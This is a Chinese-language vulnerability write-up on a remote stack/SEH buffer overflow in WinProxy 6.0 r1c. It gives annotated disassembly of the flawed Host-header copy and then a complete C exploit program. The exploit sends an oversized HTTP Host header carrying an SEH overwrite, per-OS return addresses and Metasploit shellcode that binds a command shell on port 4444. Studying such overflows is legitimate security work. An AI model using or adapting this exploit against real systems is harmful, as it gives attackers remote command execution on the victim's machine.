[0] 难得经典的远程堆栈溢出，又很好利用，分析下记个笔记，有问题请联系我。
[1] 调用堆栈
WinProxy.0051F050
|
WinProxy.0051F4D0
|
WinProxy.00435E00
|
WinProxy.004360B0
|
WinProxy.00434200
|
WinProxy.005D9F80
|
WinProxy.005DE080
[2] 反汇编代码分析
----------------------造成溢出的调用------------------------
sub_5DE080 proc near ; CODE XREF: sub_5D9F80+1ABFp
.text:005DE080 ; sub_5DD1A0+11Ep
.text:005DE080
.text:005DE080 var_44 = dword ptr -44h
.text:005DE080 var_40 = dword ptr -40h
.text:005DE080 var_3C = dword ptr -3Ch
.text:005DE080 var_38 = dword ptr -38h
.text:005DE080 var_34 = dword ptr -34h
.text:005DE080 var_C = dword ptr -0Ch
.text:005DE080 var_4 = dword ptr -4
.text:005DE080 arg_0 = dword ptr 4
.text:005DE080 arg_4 = dword ptr 8
.text:005DE080 arg_8 = dword ptr 0Ch
.text:005DE080
.text:005DE080 push 0FFFFFFFFh
.text:005DE082 push offset loc_6613E8
.text:005DE087 mov eax, large fs:0
.text:005DE08D push eax
.text:005DE08E mov large fs:0, esp
.text:005DE095 sub esp, 38h ; 这里只分配了38h(56)字节大小的堆栈，造成溢出的前提
.text:005DE098 push ebx
.text:005DE099 mov ebx, [esp+48h+arg_8]
.text:005DE09D mov eax, 80h
.text:005DE0A2 push ebp
.text:005DE0A3 push esi
.text:005DE0A4 cmp ebx, eax
.text:005DE0A6 push edi
.text:005DE0A7 mov [esp+54h+var_38], eax
.text:005DE0AB mov [esp+54h+var_40], eax
.text:005DE0AF jl short loc_5DE0BB
.text:005DE0B1 lea eax, [ebx+80h]
.text:005DE0B7 mov [esp+54h+var_40], eax
.text:005DE0BB
.text:005DE0BB loc_5DE0BB: ; CODE XREF: sub_5DE080+2Fj
.text:005DE0BB push eax
.text:005DE0BC call sub_61F390
.text:005DE0C1 mov edx, [esp+58h+arg_4]
.text:005DE0C5 mov ecx, ebx
.text:005DE0C7 mov [esp+58h+var_44], eax
.text:005DE0CB mov edi, eax
.text:005DE0CD mov eax, ecx
.text:005DE0CF mov esi, edx
.text:005DE0D1 shr ecx, 2
.text:005DE0D4 mov [esp+58h+var_3C], ebx
.text:005DE0D8 rep movsd
.text:005DE0DA mov ecx, eax
.text:005DE0DC and ecx, 3
.text:005DE0DF rep movsb
.text:005DE0E1 mov ecx, [esp+58h+var_44]
.text:005DE0E5 mov byte ptr [ecx+ebx], 0
.text:005DE0E9 push edx
.text:005DE0EA mov [esp+5Ch+var_4], 0
.text:005DE0F2 call sub_61F3D0
.text:005DE0F7 lea edx, [esp+5Ch+var_44]
.text:005DE0FB push edx
.text:005DE0FC call sub_5DE360
.text:005DE101 mov edi, offset aHttp_1 ; "http://"
.text:005DE106 or ecx, 0FFFFFFFFh
.text:005DE109 xor eax, eax
.text:005DE10B add esp, 0Ch
.text:005DE10E repne scasb
.text:005DE110 not ecx
.text:005DE112 sub edi, ecx
.text:005DE114 lea edx, [esp+54h+var_34]
.text:005DE118 mov eax, ecx
.text:005DE11A mov esi, edi
.text:005DE11C mov edi, edx
.text:005DE11E shr ecx, 2
.text:005DE121 rep movsd
.text:005DE123 mov ecx, eax
.text:005DE125 mov eax, dword_7227F4
.text:005DE12A and ecx, 3
.text:005DE12D test eax, eax
.text:005DE12F rep movsb
.text:005DE131 jz loc_5DE1FD
.text:005DE137 mov ecx, dword_7227E8
.text:005DE13D xor eax, eax
.text:005DE13F lea edx, [esp+54h+var_34]
.text:005DE143 lea edi, [ecx+7E9Ch]
.text:005DE149 or ecx, 0FFFFFFFFh
.text:005DE14C repne scasb
.text:005DE14E not ecx
.text:005DE150 sub edi, ecx
.text:005DE152 mov esi, edi
.text:005DE154 mov ebx, ecx
.text:005DE156 mov edi, edx
.text:005DE158 or ecx, 0FFFFFFFFh
.text:005DE15B repne scasb
.text:005DE15D mov ecx, ebx
.text:005DE15F dec edi
.text:005DE160 shr ecx, 2
.text:005DE163 rep movsd
.text:005DE165 mov ecx, ebx
.text:005DE167 mov eax, offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE16C and ecx, 3
.text:005DE16F test eax, eax
.text:005DE171 rep movsb
.text:005DE173 jz loc_5DE2C9
.text:005DE179 lea ecx, [esp+54h+var_34]
.text:005DE17D test ecx, ecx
.text:005DE17F jz loc_5DE2C9
.text:005DE185 mov edi, eax
.text:005DE187 or ecx, 0FFFFFFFFh
.text:005DE18A xor eax, eax
.text:005DE18C mov edx, [esp+54h+var_44]
.text:005DE190 repne scasb
.text:005DE192 not ecx
.text:005DE194 dec ecx
.text:005DE195 lea edi, [esp+54h+var_34]
.text:005DE199 mov ebx, ecx
.text:005DE19B or ecx, 0FFFFFFFFh
.text:005DE19E repne scasb
.text:005DE1A0 not ecx
.text:005DE1A2 dec ecx
.text:005DE1A3 push offset aHttpAdmin_wi_4 ; char *
.text:005DE1A8 push edx ; char *
.text:005DE1A9 mov edi, ecx
.text:005DE1AB call _strstr
.text:005DE1B0 add esp, 8
.text:005DE1B3 test eax, eax
.text:005DE1B5 jz loc_5DE2C9
.text:005DE1BB sub eax, [esp+54h+var_44]
.text:005DE1BF mov esi, eax
.text:005DE1C1 js loc_5DE2C9
.text:005DE1C7
.text:005DE1C7 loc_5DE1C7: ; CODE XREF: sub_5DE080+176j
.text:005DE1C7 push ebx
.text:005DE1C8 push esi
.text:005DE1C9 lea ecx, [esp+5Ch+var_44]
.text:005DE1CD call sub_4501B0
.text:005DE1D2 lea eax, [esp+54h+var_34]
.text:005DE1D6 lea ecx, [esp+54h+var_44]
.text:005DE1DA push eax
.text:005DE1DB push esi
.text:005DE1DC call sub_450220
.text:005DE1E1 add esi, edi
.text:005DE1E3 lea ecx, [esp+54h+var_44]
.text:005DE1E7 push esi
.text:005DE1E8 push offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE1ED call sub_450590
.text:005DE1F2 mov esi, eax
.text:005DE1F4 test esi, esi
.text:005DE1F6 jge short loc_5DE1C7
.text:005DE1F8 jmp loc_5DE2C9
.text:005DE1FD ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:005DE1FD
.text:005DE1FD loc_5DE1FD: ; CODE XREF: sub_5DE080+B1j
.text:005DE1FD mov eax, dword_7227E0
.text:005DE202 test eax, eax
.text:005DE204 jz loc_5DE2C9
.text:005DE20A jge short loc_5DE21E
.text:005DE20C mov ecx, 2
.text:005DE211 sub ecx, eax
.text:005DE213 push ecx
.text:005DE214 mov ecx, offset dword_7227D8
.text:005DE219 call sub_412300
.text:005DE21E
.text:005DE21E loc_5DE21E: ; CODE XREF: sub_5DE080+18Aj
.text:005DE21E mov edi, dword_7227D8
.text:005DE224 or ecx, 0FFFFFFFFh
.text:005DE227 xor eax, eax
.text:005DE229 lea edx, [esp+54h+var_34]
.text:005DE22D repne scasb
.text:005DE22F not ecx
.text:005DE231 sub edi, ecx
.text:005DE233 mov esi, edi
.text:005DE235 mov ebx, ecx
.text:005DE237 mov edi, edx
.text:005DE239 or ecx, 0FFFFFFFFh
.text:005DE23C repne scasb ; 指针指到字符串末尾
.text:005DE23E mov ecx, ebx
.text:005DE240 dec edi
.text:005DE241 shr ecx, 2 ; 416字节
.text:005DE244 rep movsd ; 复制主机名，造成溢出
.text:005DE246 mov ecx, ebx
.text:005DE248 mov eax, offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE24D and ecx, 3
.text:005DE250 test eax, eax
.text:005DE252 rep movsb
.text:005DE254 jz short loc_5DE2C9
.text:005DE256 lea ecx, [esp+54h+var_34]
.text:005DE25A test ecx, ecx
.text:005DE25C jz short loc_5DE2C9
.text:005DE25E mov edi, eax
.text:005DE260 or ecx, 0FFFFFFFFh
.text:005DE263 xor eax, eax
.text:005DE265 mov edx, [esp+54h+var_44]
.text:005DE269 repne scasb
.text:005DE26B not ecx
.text:005DE26D dec ecx
.text:005DE26E lea edi, [esp+54h+var_34]
.text:005DE272 mov ebx, ecx
.text:005DE274 or ecx, 0FFFFFFFFh
.text:005DE277 repne scasb
.text:005DE279 not ecx
.text:005DE27B dec ecx
.text:005DE27C push offset aHttpAdmin_wi_4 ; char *
.text:005DE281 push edx ; char *
.text:005DE282 mov edi, ecx
.text:005DE284 call _strstr
.text:005DE289 add esp, 8
.text:005DE28C test eax, eax
.text:005DE28E jz short loc_5DE2C9
.text:005DE290 sub eax, [esp+54h+var_44]
.text:005DE294 mov esi, eax
.text:005DE296 js short loc_5DE2C9
.text:005DE298
.text:005DE298 loc_5DE298: ; CODE XREF: sub_5DE080+247j
.text:005DE298 push ebx
.text:005DE299 push esi
.text:005DE29A lea ecx, [esp+5Ch+var_44]
.text:005DE29E call sub_4501B0
.text:005DE2A3 lea eax, [esp+54h+var_34]
.text:005DE2A7 lea ecx, [esp+54h+var_44]
.text:005DE2AB push eax
.text:005DE2AC push esi
.text:005DE2AD call sub_450220
.text:005DE2B2 add esi, edi
.text:005DE2B4 lea ecx, [esp+54h+var_44]
.text:005DE2B8 push esi
.text:005DE2B9 push offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE2BE call sub_450590
.text:005DE2C3 mov esi, eax
.text:005DE2C5 test esi, esi
.text:005DE2C7 jge short loc_5DE298
.text:005DE2C9
.text:005DE2C9 loc_5DE2C9: ; CODE XREF: sub_5DE080+F3j
.text:005DE2C9 ; sub_5DE080+FFj ...
.text:005DE2C9 mov ebx, [esp+54h+var_3C]
.text:005DE2CD lea ecx, [ebx+1]
.text:005DE2D0 push ecx
.text:005DE2D1 call sub_61F390
.text:005DE2D6 mov ebp, eax
.text:005DE2D8 add esp, 4
.text:005DE2DB mov byte ptr [ebx+ebp], 0
.text:005DE2DF mov eax, [esp+54h+var_3C]
.text:005DE2E3 test eax, eax
.text:005DE2E5 jge short loc_5DE2F8
.text:005DE2E7 mov edx, 2
.text:005DE2EC lea ecx, [esp+54h+var_44]
.text:005DE2F0 sub edx, eax
.text:005DE2F2 push edx
.text:005DE2F3 call sub_412300
.text:005DE2F8
.text:005DE2F8 loc_5DE2F8: ; CODE XREF: sub_5DE080+265j
.text:005DE2F8 mov esi, [esp+54h+var_44]
.text:005DE2FC mov ecx, ebx
.text:005DE2FE mov eax, ecx
.text:005DE300 mov edi, ebp
.text:005DE302 shr ecx, 2
.text:005DE305 rep movsd
.text:005DE307 mov ecx, eax
.text:005DE309 push 0
.text:005DE30B and ecx, 3
.text:005DE30E push 1
.text:005DE310 rep movsb
.text:005DE312 mov ecx, [esp+5Ch+arg_0] ;
.text:005DE312 ; 取得栈里的局部变量，栈被覆盖后，该变量也被覆盖，
.text:005DE312 ; 这里是造成下面调用里异常的成因
.text:005DE316 push 0
.text:005DE318 push 0
.text:005DE31A push ebx
.text:005DE31B push ebp
.text:005DE31C add ecx, 2B8h
.text:005DE322 call sub_42D0E0 ; 进入触发异常的调用
.text:005DE327 mov esi, eax
.text:005DE329 mov eax, [esp+54h+var_44]
.text:005DE32D test eax, eax
.text:005DE32F mov [esp+54h+var_4], 0FFFFFFFFh
.text:005DE337 jz short loc_5DE342
.text:005DE339 push eax
.text:005DE33A call sub_61F3D0
.text:005DE33F add esp, 4
.text:005DE342
.text:005DE342 loc_5DE342: ; CODE XREF: sub_5DE080+2B7j
.text:005DE342 mov ecx, [esp+54h+var_C]
.text:005DE346 mov eax, esi
.text:005DE348 pop edi
.text:005DE349 pop esi
.text:005DE34A pop ebp
.text:005DE34B pop ebx
.text:005DE34C mov large fs:0, ecx
.text:005DE353 add esp, 44h
.text:005DE356 retn 0Ch
.text:005DE356 sub_5DE080 endp
---------------------触发异常的子调用----------------------
.text:0042D0E0 sub_42D0E0 proc near ; CODE XREF: sub_421AF0+34Fp
.text:0042D0E0 ; sub_421E90+94p ...
.text:0042D0E0
.text:0042D0E0 arg_0 = dword ptr 0Ch
.text:0042D0E0 arg_4 = dword ptr 10h
.text:0042D0E0 arg_8 = dword ptr 14h
.text:0042D0E0 arg_C = dword ptr 18h
.text:0042D0E0 arg_10 = dword ptr 1Ch
.text:0042D0E0 arg_14 = dword ptr 20h
.text:0042D0E0
.text:0042D0E0 push esi
.text:0042D0E1 push edi
.text:0042D0E2 mov esi, ecx ; 把ecx传送给esi，触发异常的原因
.text:0042D0E4 push 28h
.text:0042D0E6 call sub_61F390
.text:0042D0EB xor edx, edx
.text:0042D0ED add esp, 4
.text:0042D0F0 cmp eax, edx
.text:0042D0F2 jz short loc_42D114
.text:0042D0F4 mov [eax], edx
.text:0042D0F6 mov [eax+8], edx
.text:0042D0F9 mov [eax+0Ch], edx
.text:0042D0FC mov [eax+10h], edx
.text:0042D0FF mov [eax+14h], edx
.text:0042D102 mov dword ptr [eax+18h], 1
.text:0042D109 mov [eax+1Ch], edx
.text:0042D10C mov [eax+20h], edx
.text:0042D10F mov [eax+24h], edx
.text:0042D112 jmp short loc_42D116
.text:0042D114 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D114
.text:0042D114 loc_42D114: ; CODE XREF: sub_42D0E0+12j
.text:0042D114 xor eax, eax
.text:0042D116
.text:0042D116 loc_42D116: ; CODE XREF: sub_42D0E0+32j
.text:0042D116 mov ecx, [esp+arg_10]
.text:0042D11A mov [eax+18h], ecx
.text:0042D11D mov ecx, [esp+arg_8]
.text:0042D121 cmp ecx, edx
.text:0042D123 jnz short loc_42D12A
.text:0042D125 mov ecx, [esi+1Ch] ; 溢出覆盖堆栈数据后，esi的内容被改写，造成这里读内存异常，
.text:0042D125 ; 覆盖堆栈里的结构化异常处理程序就成功利用了，所以利用程序很好写
.text:0042D128 jmp short loc_42D137
.text:0042D12A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D12A
.text:0042D12A loc_42D12A: ; CODE XREF: sub_42D0E0+43j
.text:0042D12A cmp ecx, 0FFFFFFFFh
.text:0042D12D jnz short loc_42D137
.text:0042D12F mov ecx, [esi+1Ch]
.text:0042D132 mov edi, [esi+14h]
.text:0042D135 add ecx, edi
.text:0042D137
.text:0042D137 loc_42D137: ; CODE XREF: sub_42D0E0+48j
.text:0042D137 ; sub_42D0E0+4Dj
.text:0042D137 mov edi, [esp+arg_C]
.text:0042D13B mov [eax], edx
.text:0042D13D cmp edi, edx
.text:0042D13F jz short loc_42D146
.text:0042D141 mov [eax+4], edx
.text:0042D144 jmp short loc_42D14D
.text:0042D146 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D146
.text:0042D146 loc_42D146: ; CODE XREF: sub_42D0E0+5Fj
.text:0042D146 mov dword ptr [eax+4], 3
.text:0042D14D
.text:0042D14D loc_42D14D: ; CODE XREF: sub_42D0E0+64j
.text:0042D14D mov edx, [esp+arg_0]
.text:0042D151 mov edi, [esp+arg_4]
.text:0042D155 mov [eax+8], ecx
.text:0042D158 mov ecx, [esp+arg_14]
.text:0042D15C mov [eax+24h], ecx
.text:0042D15F push eax
.text:0042D160 mov ecx, esi
.text:0042D162 mov [eax+0Ch], edx
.text:0042D165 mov [eax+10h], edi
.text:0042D168 call sub_42DD40
.text:0042D16D mov eax, [esi+18h]
.text:0042D170 add eax, edi
.text:0042D172 pop edi
.text:0042D173 mov [esi+18h], eax
.text:0042D176 mov ecx, eax
.text:0042D178 mov eax, [esi+14h]
.text:0042D17B pop esi
.text:0042D17C add eax, ecx
.text:0042D17E retn 18h
.text:0042D17E sub_42D0E0 endp
[3] 溢出利用程序
**
** winproxy 6.0 r1c remote stack/seh overflow exploit
**
** luoluonet@hotmail.com
**
** description: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=365
**
** reference: http://www.milw0rm.com/id.php?id=1408
**
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define BUFFER_SIZE 1024
void SendBuffer(char *szHost, int nPort, char *szBuffer, int nLen);
char szFormat[] = "GET / HTTP/1.0\r\nHost: localhost%s\r\n\r\n";
//
// pavinet.dll内的 pop ra pop rb ret 指令序列，具体的操作系统可以用ollydbg查找之
//
unsigned char seh[] = "\xf0\xea\x3f\x01"; // xp sp2
//unsigned char seh[] = "\xf0\xea\x78\x01"; // 2k sp4
unsigned char jmp[] = "\x90\x90\xeb\x10";
// shellcode from metasploit.org, bind cmd shell on port 4444
unsigned char sc[] = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c"
"\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28"
"\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a"
"\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b"
"\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48"
"\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28"
"\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3"
"\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73"
"\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1"
"\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0"
"\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42"
"\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb"
"\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea"
"\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4"
"\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3"
"\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e"
"\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c"
"\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2"
"\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73"
"\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0"
"\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";
void main(int argc, char *argv[])
{
char szBuffer[BUFFER_SIZE] = {0};
char szPadding[BUFFER_SIZE] = {0};
if (argc != 3)
{
printf("usage:\n winproxy <host> <port>\n");
return;
}
if (strlen(argv[1]) > 32)
{
printf("error: too long hostname\n");
return;
}
memset(szPadding, 0x90, 24);
memcpy(szPadding + 24, jmp, 4);
memcpy(szPadding + 24 + 4, seh, 4);
memset(szPadding + 24 + 4 + 4, 0x90, 32);
memcpy(szPadding + 24 + 4 + 4 + 32, sc, sizeof(sc));
sprintf(szBuffer, szFormat, szPadding);
SendBuffer(argv[1], atoi(argv[2]), szBuffer, sizeof(szBuffer));
}
void SendBuffer(char *szHost, int nPort, char *szBuffer, int nLen)
{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN addr_in;
int nBytesSend = 0;
if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0)
{
printf("error: failed WSAStartup\n");
return;
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("error: failed socket\n");
return;
}
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(nPort);
addr_in.sin_addr.S_un.S_addr = inet_addr(szHost);
if (connect(s, (SOCKADDR *)&addr_in, sizeof(SOCKADDR)))
{
printf("error: failed connect\n");
goto _exit;
}
if ((nBytesSend = send(s, szBuffer, nLen, 0)) == SOCKET_ERROR)
{
printf("error: failed send\n");
goto _exit;
}
printf("[+] totally %d bytes has been sended\n", nBytesSend);
_exit:
closesocket(s);
WSACleanup();
}